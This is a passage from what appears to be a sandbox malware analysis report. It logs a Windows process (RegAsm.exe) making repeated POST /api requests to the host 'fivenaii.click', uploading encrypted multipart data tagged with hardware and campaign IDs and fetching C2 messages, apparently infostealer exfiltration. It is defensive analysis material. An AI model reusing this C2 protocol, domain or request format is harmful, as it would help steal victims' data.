--FRHHII88EX2SEMY7YYContent-Disposition: form-data; name="hwid"B9B295F31A84D198BEBA0C6A975F1733--FRHHII88EX2SEMY7YYContent-Disposition: form-data; name="pid"2--FRHHII88EX2SEMY7YYContent-Disposition: form-data; name="lid"VC6Dfm--TestO
2024-12-27 21:33:36 UTC	1131	IN	HTTP/1.1 200 OK Date: Fri, 27 Dec 2024 21:33:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=t9bi34k8dhgps05p5qqslam35a; expires=Tue, 22 Apr 2025 15:20:14 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=G2BhND65gN4n2WN1YFqo5evpV4Wd7nMOWinivLqiK%2BmAxrebkCxb%2BgT%2BfGneka0Go3hhPHLfmz8Fi1YE7jO%2BT6ATosbHJwHGnhq33HxjoFozKPxA%2BQWX2zRlbc0fTeSPKg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f8c6e08a9498c3f-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2086&min_rtt=2086&rtt_var=782&sent=8&recv=14&lost=0&retrans=0&sent_bytes=2833&recv_bytes=9726&delivery_rate=1399137&cwnd=229&unsent_bytes=0&cid=b3397040c95f4981&ts=822&x=0"
2024-12-27 21:33:36 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-27 21:33:36 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.4	49771	104.21.60.24	443	7548	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-27 21:33:35 UTC	277	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=9KREDXIF8S0UJ1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 571116 Host: fivenaii.click
2024-12-27 21:33:35 UTC	15331	OUT	Data Raw: 2d 2d 39 4b 52 45 44 58 49 46 38 53 30 55 4a 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 42 39 42 32 39 35 46 33 31 41 38 34 44 31 39 38 42 45 42 41 30 43 36 41 39 37 35 46 31 37 33 33 0d 0a 2d 2d 39 4b 52 45 44 58 49 46 38 53 30 55 4a 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 39 4b 52 45 44 58 49 46 38 53 30 55 4a 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 56 43 36 44 66 6d 2d 2d 54 65 73 74 4f 74 63 74 75 6b 0d 0a 2d 2d 39 4b 52 Data Ascii: --9KREDXIF8S0UJ1Content-Disposition: form-data; name="hwid"B9B295F31A84D198BEBA0C6A975F1733--9KREDXIF8S0UJ1Content-Disposition: form-data; name="pid"1--9KREDXIF8S0UJ1Content-Disposition: form-data; name="lid"VC6Dfm--TestOtctuk--9KR
2024-12-27 21:33:35 UTC	15331	OUT	Data Raw: 65 26 61 e0 49 9c 12 90 f2 e6 bf ff d4 22 e4 03 f8 5d 15 2b 4c 25 56 4a 33 96 00 92 9e 84 05 53 1e 87 bd 02 6c 33 05 f0 bb f0 5a df 61 1c 92 d1 db 0a af 31 86 ce 4b d2 f0 bb c9 2e 22 e0 8c 3a 16 c6 71 b1 6b d6 e8 50 c5 ed ab fb b9 6e db 41 6a 90 e3 ff 5b a5 a4 f9 00 dd 7e 57 70 07 0d ea c9 e4 9e 20 e0 b5 85 83 05 68 0a ce 69 61 e1 25 66 ec 9e b4 52 01 88 f7 e7 82 51 ea 31 06 6f c1 d0 b6 cd 12 62 1c 92 ea 15 06 97 12 d3 1c dc 70 a0 41 9e 17 60 8c 8e d9 9e e1 50 02 c9 a9 c0 d4 ed fc 22 4d 9a df e6 e7 e4 b0 87 5f 8c 98 a2 9d 52 5e 8e 5c 28 7a c4 38 fe d5 e2 94 0a 6f 5a 2b 8e 5a 61 2a ab 31 04 cb f4 14 21 36 80 f7 a3 a8 18 53 70 01 c3 a2 a4 6c 35 f8 bb c8 73 6a 1d 89 5c d2 8a 7c 15 ff 98 f1 f8 aa 9d 04 95 cc 48 c7 c2 12 cb 9a 33 ef 96 80 df 1e 9a 36 3a 50 10 Data Ascii: e&aI"]+L%VJ3Sl3Za1K.":qkPnAj[~Wp hia%fRQ1obpA`P"M_R^\(z8oZ+Za*1!6Spl5sj\\|H36:P
2024-12-27 21:33:35 UTC	15331	OUT	Data Raw: 5c 15 f4 4f 0b 15 09 2f 16 46 34 ab e9 44 14 55 22 24 6f 59 19 49 63 1f 47 da 98 39 bd 9a ce 68 ff b5 06 cd 21 2c 6f 14 94 c2 be a8 b7 ca 6d 12 70 e4 a6 c2 58 fe 44 44 0b 45 22 d8 4b 82 76 ea 01 ae e3 05 82 8a 94 19 06 7b a5 22 4b 4c d7 32 1f 0d 9b 8a d1 2a e3 d3 cf 2a d7 25 43 04 88 7b ba df e5 37 d1 4d a6 60 a1 18 2d d5 87 78 b9 c2 17 1a b3 1f 0a 45 c6 76 4f 1a 02 1f 24 fa 4d 9d 52 04 62 82 4a ae 29 c5 e8 a0 7b 06 c3 85 66 bf 18 4d 0f 76 ac d3 4b 2c f6 77 9e 67 4a a2 c3 05 79 fb ea e9 7f a9 ba 7e 8f a3 30 0c ca 38 73 73 46 7e ab 6f 8e 59 72 06 a4 11 7e e7 2b 72 73 dd 0c 22 5c 6b 47 a8 d6 f7 07 c8 7b ba ae 47 50 ae 9c e1 ba bc c1 43 a3 af e6 a7 be 8b 5d ae fc 2b e8 67 8b c6 66 bc b7 0b e4 a3 09 67 9e 20 63 ee 60 ee 3e 58 bc 14 93 95 a7 76 27 9e 4d 6a 3d Data Ascii: \O/F4DU"$oYIcG9h!,ompXDDE"Kv{"KL2**%C{7M`-xEvO$MRbJ){fMvK,wgJy~08ssF~oYr~+rs"\kG{GPC]+gfg c`>Xv'Mj=
2024-12-27 21:33:35 UTC	15331	OUT	Data Raw: c5 1e c3 50 4b af ee 2d 9a a8 3a 34 52 dc a0 7d 72 10 21 ee ee 1d a0 fa 42 97 d3 ef 2d 43 8a be fa ed 49 89 ed d2 57 7b ea c5 a5 67 57 c3 80 6d 0c 6a 8e 6d d6 9a 57 02 30 d4 df 77 3f 1e 79 c5 74 e9 0b ce 40 1d 68 99 6f de f7 68 9d 70 35 5c 29 35 c5 db 3a 18 e5 bf bb 36 f5 17 41 37 45 50 fc 45 ec 80 2f 38 63 f3 5f d1 e4 e8 f5 8e 3a a3 9c a5 89 66 ab ed a5 a2 8f 4e bc e4 68 f9 dd 25 35 9f b8 66 3b e7 c3 af 17 de fb ef 65 c8 0e 0b de a1 b8 7d 40 f7 22 3f 3f e4 48 3f 20 fc 57 4b 49 dd dc e4 5c a4 ba 86 2e d9 7d bc d1 1b b5 24 72 13 ed 71 cf 35 49 28 a9 41 4f d0 cc 05 8c b5 a9 31 95 ba bd 05 c1 b5 25 d8 79 94 ba 79 5c 86 4e 18 dc f2 bb 73 f2 73 37 8e d9 d3 7e b4 24 6d e1 11 65 6f 77 fb c7 b9 d4 ca 1f 1c 83 38 0b 8a ec d5 e6 bb 3c c5 8b e7 68 7e 65 ad fd e4 4f Data Ascii: PK-:4R}r!B-CIW{gWmjmW0w?yt@hohp5\)5:6A7EPE/8c_:fNh%5f;e}@"??H? WKI\.}$rq5I(AO1%yy\Nss7~$meow8<h~eO
2024-12-27 21:33:35 UTC	15331	OUT	Data Raw: 5d 01 a1 65 8d 5b ca 0c e9 87 c4 e9 c5 4c de 84 4d f5 fd b9 38 b8 79 50 47 b8 cb 57 eb 34 c7 47 ca 68 bc cd c1 ab 9c 9c b3 e0 35 34 f2 42 75 a9 36 b9 aa 2c 09 1d 7b 40 75 c4 82 63 13 bc df d9 45 5e 6c f7 ce 9e 56 a6 db 43 6e b3 66 65 de 93 bf c7 4a 32 e0 55 81 9b d5 19 ae b9 10 6f 19 d1 8b 30 98 e3 82 3f cc 18 dc dc 8b 10 02 46 13 b9 50 1d 11 e8 bd 3e c3 47 1c 1c 57 b3 d9 81 3c 0f a5 37 44 fd af 4c da 22 83 02 6e 7b 4d 3a 15 dd 47 82 0f f7 32 9b 78 c0 10 c5 71 d4 5a d5 05 23 bc f3 ee fd a7 c3 ef b5 4d fd b5 24 1d ee 1f 91 b4 b9 a7 f2 5e d9 9c 94 ee 87 fe fb 80 d6 b4 70 32 61 05 62 f8 27 52 f9 fe ff af e4 86 24 28 1d e3 81 f3 c0 e2 9f 81 4b 32 8b 6f 84 18 55 e5 94 94 16 64 31 fc 79 b1 e4 51 11 0f 07 e1 3c d5 fe 89 b3 23 9c f0 5d a2 2c 2b 41 10 f1 67 7b 3a Data Ascii: ]e[LM8yPGW4Gh54Bu6,{@ucE^lVCnfeJ2Uo0?FP>GW<7DL"n{M:G2xqZ#M$^p2ab'R$(K2oUd1yQ<#],+Ag{:
2024-12-27 21:33:35 UTC	15331	OUT	Data Raw: e9 99 1d 29 5b 0a d0 bd 3d bc a6 bd 64 7b 2b b1 42 b8 41 90 d2 e4 c6 f7 72 e2 6c e7 e4 d2 da 90 8d 5b c5 fc 3a b3 08 39 a7 3a 09 e1 a6 72 64 85 45 e3 e7 e5 1a 6c b5 7c a1 8b 3d a1 40 ee 59 54 21 a9 d1 c0 c0 57 e0 c7 c1 96 40 aa ba 72 ab b7 76 6d 02 14 ef bd ed f3 2c 4d 0b 19 58 b0 fd 6a 47 ad 88 b5 0c 23 00 b1 ab d6 19 a5 1c ae cf b1 ed e2 98 d2 2f 84 01 41 37 c6 ee f1 f5 dc 3f 72 77 6b d2 a9 5e b1 bb c8 d9 a3 2d 59 a8 44 25 da 50 cc 7e bc ef f2 47 23 9b 6f fa 9e 05 82 86 1a 4d 61 5b 7c 61 a7 db f8 8a f3 0d 67 1d 63 7b 2b b6 1f fc 08 32 fc 21 74 ce 59 f6 57 5d e2 33 e8 77 09 36 b7 32 11 43 00 0f 86 0a e8 ad 6d 83 f2 b6 dc 1f ae 90 70 36 a2 77 10 b7 7e 8b 5e 70 54 e7 f0 96 3e ee 10 c7 1f 35 b1 75 94 5e 64 66 40 32 ac 92 64 44 ef 53 53 9f d5 93 c7 84 c0 3e Data Ascii: )[=d{+BArl[:9:rdEl\|=@YT!W@rvm,MXjG#/A7?rwk^-YD%P~G#oMa[\|agc{+2!tYW]3w62Cmp6w~^pT>5u^df@2dDSS>
2024-12-27 21:33:35 UTC	15331	OUT	Data Raw: c5 72 5f 94 b2 7f ac 99 e0 72 2e 90 21 62 31 1b 89 3c 84 91 e5 6d 96 b5 0b 99 5e ff 59 4e 91 13 25 ef ea 7a ce 2a f9 ff da 2a 7e e2 64 11 f0 f5 ce e1 bc b8 2a 8f 37 fb da 02 e3 74 fb be 21 f1 ee dc b7 aa ac 61 89 26 d8 85 53 25 c8 48 41 90 87 0e ac 2e cd 48 4a e3 04 21 37 50 e7 36 53 90 ba 9b 0d 9b 28 77 b8 55 f5 50 f4 c7 45 40 58 f5 0e 02 b7 70 32 b3 99 13 1c a8 92 ff 6d d9 2b 1b 1f bd 64 c0 b5 3b cb 43 b2 5e a6 fe f5 af 8f 1f 21 7f ec 8c cf 06 12 c4 7b 6f e0 16 71 c8 f2 5b 8e 69 ee 73 25 f1 d5 78 45 2b 5a 12 63 fd 67 26 3e f2 c9 66 68 0a 22 f9 36 0b b3 39 6e 4b 1a 4a 28 d0 46 c2 cd 07 ac 48 13 74 56 ee ac 96 7e 9b 8f 66 fd 8c 12 bd 89 06 b8 cd d5 9f 69 2c 9f 21 04 fd da e8 d2 e3 9c 7b 81 4c 76 80 73 f5 8f 6b 51 0e bd 60 b1 46 08 5c dd 18 2d f9 58 23 3d Data Ascii: r_r.!b1<m^YN%z*~d7t!a&S%HA.HJ!7P6S(wUPE@Xp2m+d;C^!{oq[is%xE+Zcg&>fh"69nKJ(FHtV~fi,!{LvskQ`F\-X#=
2024-12-27 21:33:35 UTC	15331	OUT	Data Raw: 14 c8 ee 4b 78 48 a9 87 95 f8 81 b5 11 b3 ee 0e 92 a0 fb 0e f5 27 91 10 22 87 98 77 a2 1e 08 98 83 d7 0d e7 af 85 c2 84 e7 21 fa fc 89 8b 43 15 0e a3 79 e9 04 11 4d 86 42 ba e2 6b 72 82 a7 29 6c 5a 0f 97 49 75 51 b9 ef a6 6d 2e 86 61 60 02 d9 99 ef 57 fb 7f db d3 5a f4 32 7f 24 6c 02 9e 03 73 cf 51 b0 ec fc 99 f1 17 58 98 0f c7 bb 28 8d ed 1c 9f 98 73 65 db 0f 44 1a 10 b5 51 66 62 7d 45 37 ec 6b 5d 94 d2 e7 c6 53 cc 2e 28 5e 52 ca 30 98 53 6f 73 8d b5 af 21 ca 87 ea 5d 12 8c 27 f3 03 5e 81 f5 d8 aa a3 ae f5 9d 66 4d e3 fb 43 1c a5 02 90 98 55 be a2 5e fa 03 4f 7f 12 f6 fa be 45 6f 28 19 d9 9d 1a d7 52 c3 7b 22 1a 68 36 9f 06 bf 95 af ea 97 78 72 5e 94 3d 38 3e 2c d1 ef b4 e9 fc 2f e2 09 a5 70 ff 54 fd 55 01 52 a0 47 0c 63 d8 28 bf a7 24 e0 9a d7 d2 e6 97 Data Ascii: KxH'"w!CyMBkr)lZIuQm.a`WZ2$lsQX(seDQfb}E7k]S.(^R0Sos!]'^fMCU^OEo(R{"h6xr^=8>,/pTURGc($
2024-12-27 21:33:35 UTC	15331	OUT	Data Raw: bf f3 c7 9f a1 4b 98 ee eb 27 7d 7b a2 0a 35 2f 12 f7 f7 00 fa 60 26 42 4b 82 98 f9 b2 a0 ea f2 7e 00 ff cb 0b a2 0d 26 dd 2b 73 d6 5e 26 b6 90 b5 b1 5c 07 d4 77 4d 1e 81 ed 66 0e 33 52 e0 ea 6e 53 79 88 14 0f 07 21 cb 84 33 2c dd 47 93 e1 d7 64 5e 8c 5d 90 c4 12 a7 f8 3a 7e 25 f8 2d 08 b7 12 10 91 6e 7e 1e f3 0f 54 b8 73 7b 2a d4 3b 1d 3a 96 20 cb 6c 5c a7 89 e0 77 c9 c2 ef 00 ca 6d 28 29 76 eb e0 f3 10 22 fe 06 e3 62 b2 ed 6c 77 d1 b0 1e 5b 46 58 c8 8d 7b f0 da 68 81 70 94 4a 27 e0 4e cc 85 1f 25 c0 5a 86 bf e6 98 9c 57 3a 6d 0d d1 12 a2 42 90 f2 46 a0 0e 55 98 20 42 27 ec bb 54 ff 00 e2 87 f8 f8 05 25 be d5 1c 78 14 2b ff f4 13 38 d0 fb b5 29 1f 65 d6 10 2c c1 79 03 d2 9f 04 ab 22 68 c1 ae 31 8d 2f 9e 0c aa 3b e4 b7 07 f0 cd 26 e5 91 f9 f9 66 b7 e8 51 Data Ascii: K'}{5/`&BK~&+s^&\wMf3RnSy!3,Gd^]:~%-n~Ts{*;: l\wm()v"blw[FX{hpJ'N%ZW:mBFU B'T%x+8)e,y"h1/;&fQ
2024-12-27 21:33:35 UTC	15331	OUT	Data Raw: 3e 42 2d 55 e9 b0 b6 b4 72 9d d6 78 39 f3 f7 93 73 a1 ed fb 02 38 47 cd 56 bc 10 1b 80 7d b4 45 ba ff 3f 40 99 7d ae f5 a8 d0 18 a4 9b 33 36 f4 f6 3f dd 3e 0e 1b df 05 75 0b b2 f9 e7 aa ef 1f be 25 41 d8 6e 14 c0 ed 85 c8 fc 50 c6 9e e8 a1 d8 7c 23 3b 14 0c 87 d9 ee de 66 e9 cf 59 b7 7e 06 d7 87 f0 72 a7 b0 ec 82 ec a3 fb a5 99 b7 1a d4 6c 4e 23 6b 1b e3 be bf f4 cd f1 52 00 7b f0 9c 80 c8 aa c5 18 a9 93 4e be dc 0f cd ae 0e b2 b4 a2 09 0b 7e b2 38 e7 f1 57 f3 db 00 3f 81 f8 6b 84 18 84 0b c6 6d fd 7a 76 69 34 49 84 e2 0b 99 3b e6 67 20 64 1e d6 8b ee 10 6c ca d2 3a 04 0e 5b a7 d7 d6 18 ad 06 a6 35 a1 4d 4b 31 fc f4 46 1e 8a b9 49 31 f7 3c cb 5a 4f fa 74 3d 8d 17 4c 6e a0 67 ec 40 d3 2f 61 8d 05 ca eb a4 5a d9 74 c5 fa 40 59 91 31 9d 37 ca 89 e1 de 52 cc Data Ascii: >B-Urx9s8GV}E?@}36?>u%AnP\|#;fY~rlN#kR{N~8W?kmzvi4I;g dl:[5MK1FI1<ZOt=Lng@/aZt@Y17R
2024-12-27 21:33:37 UTC	1139	IN	HTTP/1.1 200 OK Date: Fri, 27 Dec 2024 21:33:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=v0rkunicbur5elr66gon5dnvuq; expires=Tue, 22 Apr 2025 15:20:16 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=9XkrHLas%2F2S7%2Fs36Q1wxxajrq6VSzDYvndfAJ0ZlRdqx1m5%2BMQH9zLfG82sCOIeHw%2FBMjzJP%2F4GStrhYAzhIcLHiuxnh3ifNpdKF8wsDUVQt8bkf2XfLm1i%2B5JMo6WiJoQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f8c6e094a220f83-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1644&min_rtt=1634&rtt_var=633&sent=312&recv=597&lost=0&retrans=0&sent_bytes=2833&recv_bytes=573657&delivery_rate=1701631&cwnd=230&unsent_bytes=0&cid=204502405117c160&ts=2442&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.4	49772	104.21.60.24	443	2196	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-27 21:33:37 UTC	272	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=K0RL857YU4 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20394 Host: fivenaii.click
2024-12-27 21:33:37 UTC	15331	OUT	Data Raw: 2d 2d 4b 30 52 4c 38 35 37 59 55 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 42 39 42 32 39 35 46 33 31 41 38 34 44 31 39 38 42 45 42 41 30 43 36 41 39 37 35 46 31 37 33 33 0d 0a 2d 2d 4b 30 52 4c 38 35 37 59 55 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 4b 30 52 4c 38 35 37 59 55 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 56 43 36 44 66 6d 2d 2d 54 65 73 74 4f 74 63 74 75 6b 0d 0a 2d 2d 4b 30 52 4c 38 35 37 59 55 34 0d 0a 43 6f 6e Data Ascii: --K0RL857YU4Content-Disposition: form-data; name="hwid"B9B295F31A84D198BEBA0C6A975F1733--K0RL857YU4Content-Disposition: form-data; name="pid"3--K0RL857YU4Content-Disposition: form-data; name="lid"VC6Dfm--TestOtctuk--K0RL857YU4Con
2024-12-27 21:33:37 UTC	5063	OUT	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 6c 72 83 51 b0 b0 e9 a7 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 4d 6e 20 0a 16 36 fd 34 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 c9 0d 46 c1 c2 a6 9f 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 36 b9 81 28 58 d8 f4 d3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 26 37 18 05 0b 9b 7e 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 e4 06 a2 60 61 d3 4f 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 9b dc 40 f0 eb Data Ascii: lrQMn 64F6(X&7~`aO@
2024-12-27 21:33:38 UTC	1125	IN	HTTP/1.1 200 OK Date: Fri, 27 Dec 2024 21:33:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=pi3vvi3am1aps57klbe35f96jo; expires=Tue, 22 Apr 2025 15:20:16 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Eqxg9GRpvAjvhEnNydaca1MAf21Gw29WRQP719RuXkQ3q0NFZjfIjBTEmwNWTnrHtzK50mI7Qi6hQ%2BjxWYg6Ylv5uKeoKKIpElfP5wcDBS6KPf0RtnbyOGTpGPaEXRbo8Q%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f8c6e159bb14325-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1769&min_rtt=1764&rtt_var=672&sent=15&recv=27&lost=0&retrans=0&sent_bytes=2833&recv_bytes=21346&delivery_rate=1615938&cwnd=180&unsent_bytes=0&cid=d97a3fc96d1b392a&ts=804&x=0"
2024-12-27 21:33:38 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-27 21:33:38 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.4	49773	104.21.60.24	443	7548	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-27 21:33:39 UTC	262	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 87 Host: fivenaii.click
2024-12-27 21:33:39 UTC	87	OUT	Data Raw: 61 63 74 3d 67 65 74 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 56 43 36 44 66 6d 2d 2d 54 65 73 74 4f 74 63 74 75 6b 26 6a 3d 26 68 77 69 64 3d 42 39 42 32 39 35 46 33 31 41 38 34 44 31 39 38 42 45 42 41 30 43 36 41 39 37 35 46 31 37 33 33 Data Ascii: act=get_message&ver=4.0&lid=VC6Dfm--TestOtctuk&j=&hwid=B9B295F31A84D198BEBA0C6A975F1733
2024-12-27 21:33:39 UTC	1123	IN	HTTP/1.1 200 OK Date: Fri, 27 Dec 2024 21:33:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=sfeahf40fkmglrujcm4hjvvesl; expires=Tue, 22 Apr 2025 15:20:18 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2BvZHaDepz08LhjcGaaG9eMsgOL644BEJf0f7Rgz7EwssjmtIPQJzYFH%2FKRT8JAxg7KslMSxxYYgH9JRDT6bmtkyB4WKzkNLbh7Ckxnk5jvfyqcCOXyI2TkYbzp6vwkrWsQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f8c6e20a8317cb4-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1974&min_rtt=1962&rtt_var=760&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2832&recv_bytes=985&delivery_rate=1416100&cwnd=230&unsent_bytes=0&cid=24fdd479dd7773d7&ts=809&x=0"
2024-12-27 21:33:39 UTC	54	IN	Data Raw: 33 30 0d 0a 58 52 4a 51 49 38 2b 36 79 6e 67 54 44 54 2f 65 4b 79 4f 30 7a 61 78 48 47 79 50 59 32 76 78 6c 7a 4a 61 4d 4b 32 49 6c 45 33 30 47 54 77 3d 3d 0d 0a Data Ascii: 30XRJQI8+6yngTDT/eKyO0zaxHGyPY2vxlzJaMK2IlE30GTw==
2024-12-27 21:33:39 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.4	49774	104.21.60.24	443	2196	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-27 21:33:39 UTC	269	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=LO675W50 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1189 Host: fivenaii.click
2024-12-27 21:33:39 UTC	1189	OUT	Data Raw: 2d 2d 4c 4f 36 37 35 57 35 30 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 42 39 42 32 39 35 46 33 31 41 38 34 44 31 39 38 42 45 42 41 30 43 36 41 39 37 35 46 31 37 33 33 0d 0a 2d 2d 4c 4f 36 37 35 57 35 30 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 4c 4f 36 37 35 57 35 30 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 56 43 36 44 66 6d 2d 2d 54 65 73 74 4f 74 63 74 75 6b 0d 0a 2d 2d 4c 4f 36 37 35 57 35 30 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 Data Ascii: --LO675W50Content-Disposition: form-data; name="hwid"B9B295F31A84D198BEBA0C6A975F1733--LO675W50Content-Disposition: form-data; name="pid"1--LO675W50Content-Disposition: form-data; name="lid"VC6Dfm--TestOtctuk--LO675W50Content-Dis
